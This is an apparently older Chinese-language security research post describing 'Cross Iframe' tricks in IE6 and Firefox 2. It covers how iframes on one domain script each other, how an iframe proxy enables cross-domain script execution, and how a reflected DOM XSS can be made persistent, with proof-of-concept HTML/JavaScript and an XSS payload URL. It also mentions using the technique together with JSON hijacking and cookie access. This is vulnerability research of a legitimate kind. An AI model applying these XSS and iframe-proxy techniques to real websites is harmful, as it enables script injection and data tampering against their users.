Cross Iframe的2个规则及利用

首先,为了帮助大家更好的理解,我先讲讲这种攻击能够达成什么效果: 1. 跨域执行脚本(IEFirefox
2.
把非持久性XSS变成持久性XSS
3.
跨页面执行脚本
4.
浏览器将很难修补这一特性造成的威胁

那么,什么是cross iframe,简单来说就是iframe做一个迭代,以实现一些iframe之间的交叉数据访问。在正常的web应用中,许多地方都有用到这种技术,比如facebook,比如yahoo

但是由cross iframe引申出来一些安全隐患,则是我这里要探讨的重点。

以下是我的测试环境:
Windows XP SP2
    IE 6 SP2 (我只有IE6,没有IE7,请自行测试IE7)    Firefox 2.0.0.16

测试域名:
www.A.com/1.html , /4.html
www.B.com/2.html , /3.html

这次测试主要使用了4html页面,请牢记1.html4.html是在域A下; 2.html3.html是在域B

首先来看看什么是Cross Iframe 他们又能干些什么。

Rule1:
同一个页面下的两个iframe,如果这两个iframe指向同一个域,那么他们可以互相访问,并操作修改对方页面的脚本。

www.A.com 上,存在一个 1.html ,包含了两个iframe,这两个iframe分别引用了www.B.com 上的两个页面。其代码如下:
1.html:

  1. <iframe id="tt2_2" src="http://www.B.com/2.html" width="300" height="300" ></iframe>
  2. <iframe id="tt2_3" src="http://www.B.com/3.html" width="300" height="300" ></iframe>

现在我们的目的就是利用 iframett2_2 去调用 iframett2_3里的javascript的函数。

3.html
的代码如下:
  1. <html>
  2. <body>
  3. <script>
  4. function alertpoc(){
  5.    alert("alert POC");
  6. }  
  7. </script>
  8. </body>
  9. </html>

2.html的代码如下:

  1. <body>
  2. <script>
  3. window.onload = function() {
  4. parent.frames["tt2_3"].alertpoc();//指明其父iframe,然后操作其脚本
  5. }
  6. </script>
  7. </body>

那么,当访问 http://www.A.com/1.html 时,iframett2_2中的脚本在www.B.com执行了,它通过读父窗口的iframett2_3,尝试在其中执行脚本函数alertpoc()由于tt2_2tt2_3同在www.B.com 域中,所以他们之间不存在跨域问题,脚本被允许执行。




Rule2
B能够以 iframe proxy 的方式,操作域A上的脚本,或者传递信息,实现跨域操作。

什么叫iframe proxy呢?其实就是做了一次iframe的迭代

如下:
http://www.A.com/1.html中包含一个iframe,指向 http://www.B.com/3.html
http://www.B.com/3.html中又包含一个iframe,指向 http://www.A.com/4.html

那么这个3.html就是一个iframe proxy,通过 3.html 就能从B A域的 4.html传递消息,如果4.html还有一些处理的话,就可以执行脚本。

实例如下:
1.html
的代码:

  1. <script>
  2. // 1.html上的弹窗函数
  3. function tt1(fvck){
  4.     alert(fvck);
  5. }
  6. </script>
  7. <iframe id="tt2_2" src="http://www.B.com/2.html" width="300" height="300" ></iframe>
  8. <iframe id="tt2_3" src="http://www.B.com/3.html" width="300" height="300" ></iframe>

同在 www.A.com 域下的 4.html代码:
  1. <html>
  2. <body>       
  3. <script>
  4.     //parent.parent.tt1("fvck tt1"); 也可以
  5.     top.tt1("fvck tt1");     // 调用 1.html 里的 tt1() 函数
  6.   
  7. </script>
  8. </body>
  9. </html>

www.B.com 域下的3.html 作用是iframe proxy,其代码为:
  1. <html>
  2. <body>
  3.   
  4. <script>
  5.     var tt1_4 = document.createElement("iframe");
  6.     tt1_4.src = "http://www.A.com/4.html";
  7.     document.body.appendChild(tt1_4);
  8. </script>
  9.   
  10. </body>
  11. </html>

访问 http://www.A.com/1.html 后,将通过 http://www.B.com/3.html ,利用 http://www.A.com/4.html 执行 http://www.A.com/1.html 的脚本

如下:



正确执行了脚本。

跨域的问题已经POC过了,那么存在什么样的风险呢?

先讲跨域的问题。<实现的效果类似于调用外部JS出现的情况>

首先,由于4.html在这里关联性最小,所以我们假设4.html是我们在域A下上传的某个文件,或者是存在XSS漏洞的某个页面。

那么对于域A下的页面 1.html,它包含了 B3.html当域B下的3.html被恶意用户控制时恶意用户就可以通过4.html,直接攻击到 1.html

所以我们有了第一个攻击方法:

Attack Vector 1
控制iframe proxy后可以跨域攻击父页面    <在域A的关键页面无漏洞,其他某些页面有漏洞时可以用>

由于域B和域A不是同一个域,所以域A的安全级别和一些防范措施很可能无法涉及到域B,这种信任上的危机将带来一定的风险。

请注意和普通挂马或者是XSS攻击不同的是,A上的这个页面是我们无法控制或篡改的,但他正好包含了一个指向域B上页的iframe,所以我们才可以通过域B上的那个页面跨域攻击它。要求域A的另一个页面有恶意脚本。域B只能决定引用域A的那个iframe链接,不能控制其要执行的脚本。

比如,www.baidu.com/av.html 可能包含了某个广告网站的一些页面,他使用的是iframe的方式: <iframe src="http://www.advertise.com/evil.html" >

那么这个时候,攻击者如果能够控制evil.html,就可以在evil.html 中包含一个指向 http://www.baidu.com/evilupload.html iframe

当正常用户浏览 http://www.baidu.com/av.html 时候,就会受到来自 evilupload.html XSS攻击, 而攻击的来源是 http://www.advertise.com/evil.html 发起的。

这种跨域的攻击将会极其隐蔽,因为真正的恶意脚本是写在evilupload.html 里的,所以即便查看了 av.html evil.html 的代码也无法看到任何恶意脚本,只能看到两个iframe

对于IE 6 甚至可以把 4.html 改名为 4.JPG 或者 4.RAR iframe proxy中引用后,都将执行脚本。(想到GIFAR没?)

Firefox 2 则必须保持为 html 文件才能保证脚本的执行。

控制evil.html的方法有很多种,最常见的包括直接攻击域B服务器、篡改客户端网络中的数据、或者是在evil.html 中放置一个 持久性的XSS,都将导致 evil.html 被控制
通过控制 evil.html,调整不同的iframe src地址,我们可以得到第二种攻击方法。

Attack Vector 2
iframe proxy中直接引用一个非持久性XSS(反射XSS),可以让该XSS在父窗口中持久存在。

很多人非常鄙视非持久性XSS(反射型XSS),认为这种XSS只能依靠欺骗的手段去骗人点击,才能让攻击正常实施起来。

其实让非持久性XSS变得持久的方法,已经出现过好多次了。比如利用applet利用flashAS脚本利用IEGhost 页面

那么今天这种方法又要多一个了:利用 Cross Iframe Trick

实例如下:
设想http://www.A.com/4.html 存在一个XSS漏洞,其代码如下:
4.html

  1. <html>
  2.     <body>       
  3. <script>
  4.     //parent.parent.tt1("fvck tt1");
  5.     //top.tt1("fvck tt1");
  6.     document.write("<input id=\"aaa\" value=\'test"+window.location.href+"\' >");  
  7. </script>
  8. </body>
  9. </html>

这里存在一个基于DOMXSS漏洞,当在浏览器地址栏里输入:http://www.A.com/4.html#'><script>alert(/XSS/);</script><'
时,alert()将被执行。

此时,利用 Cross Iframe技术,在 3.html 直接构造iframe地址为XSS的地址。因为3.htm可以决定引用的地址内容,文件内容觉得不了
3.html

  1. <html>
  2. <body>
  3.   
  4. <script>
  5.     //function alertpoc(){ alert("alert POC"); }  
  6.     var tt1_4 = document.createElement("iframe");
  7.     tt1_4.src = "http://www.A.com/4.html#\'\>\<script\>alert(\"Domain=\"+document.domain)\;\</script\>\<\'";
  8.     document.body.appendChild(tt1_4);
  9. </script>
  10.   
  11. </body>
  12. </html>

访问 http://www.A.com/1.html 后,4.html里的XSS漏洞将被利用,并弹出可爱的小框框




如果说,前面讲的两种方法是利用的Rule 2,那么Rule 1能否利用起来呢?思考后,发现Rule 1虽然没有跨域风险高,但还是会带来一些问题的。
Attack Vector 3
如果域A下的某个页面z中,包含了指向域B的两个iframe,分别是xy;那么x能够通过z,对y的某些对象进行一定的修改,从而篡改数据,或者是篡改函数的参数,执行脚本。此时z起着iframe proxy的作用。

这段话可能有点拗口,其实就是父窗口在这里起了iframe proxy的作用。根据rule 1,我们有以下实例:
2.html

  1. <script>
  2. window.onload = function() {
  3.     parent.frames["tt2_3"].document.getElementById("3").value="222";//修改引用的tt2_3中的input框
  4.     parent.frames["tt2_3"].alertpoc1();//利用parent.frames父窗口来修改
  5. }
  6. </script>
2.html
将调用 3.html 中的 alertpoc1()函数,并修改 input框的值为222
3.html

  1. <html>
  2. <body>
  3. <script>
  4.     //function alertpoc(){ alert("alert POC"); }
  5.     function alertpoc1(){ alert(window.location.href); }  
  6. </script>
  7. <input id="3" value="333" >
  8. </body>
  9. </html>

此时,访问http://www.A.com/1.html 后,发现input的值被成功修改,同事alertpoc1弹出显示的是3.html的地址。


这种攻击实际上还是攻击的 http://www.A.com 下的 1.html 这个页面(注意这个是和普通XSS攻击的本质区别,攻击的目标页面不同),因为iframe 3.html 是显示在 1.html 里的。在实际中用到这种情况的可能是某个页面里要显示一个报表,那么这个报表可以采用iframe的方式嵌入在页面中。

实施这种攻击,可以随意篡改报表里的数据。攻击来源却是在另外一个iframe里实现的,和当前的1.html 没有直接关系。

如果结合JSON Hijacking,直接在2.html中调用 3.html 里的一些回调函数,窃取敏感数据,也可能会起到一些意想不到的作用。因为在这里,我们再次把JSON CallBack函数持久化了,而且json返回的数据将显示在1.html里,更具有欺骗性。

所以这第三种攻击方法在篡改数据方面带来了更高的风险。

以上可以看出,Cross Iframe Trick最大的优势就是隐蔽性攻击就像来自天外一样,几乎无迹可寻

局限性:
1
、首先iframe是限制发送cookie的,本地存储的stored cookie将不被发送,只能发送一个session cookie。浏览器的这个安全特性将使得我们使用XSRF的可能性更低。
    
但也不是没有办法,比如在 4.html 里使用一个 window.open() 就能够发送出stored cookie了,当然可能还有更好的方法。
    
不过虽然限制了cookie,导致XSRF会有些困难,但是能够执行目标域下的脚本,还是非常有价值的一件事情,已经可以完成许多攻击了。

2
、其次,要在A域寻找到这样一个用iframe包含B域的页面,并且去控制iframe中的B域页面,才是最为不容易的事情。这个条件是比较苛刻的。如果有朋友能找到现实网站中的案例,请给我一个反馈。

最后,正如最开始所说,要修补这种漏洞非常困难,因为这完全是浏览器的正常功能。如果要限制iframe的话,微软自己在IE里实现了iframe的一个security属性,可以限制框架页面里脚本的执行。也许还有其他的方法可以来对抗,但是,就不是我们今天要讨论的话题了。

我虽然只是在理论上提出了Cross Iframe Trick这种威胁,但是我认为这几乎可以算成是一种漏洞类型。它是许多脚本攻击技术的结合应用技巧,而程序员又往往会忽略这些地方。所以这种威胁是真实存在的,而且是可以长期挖掘和利用的一种漏洞类型”。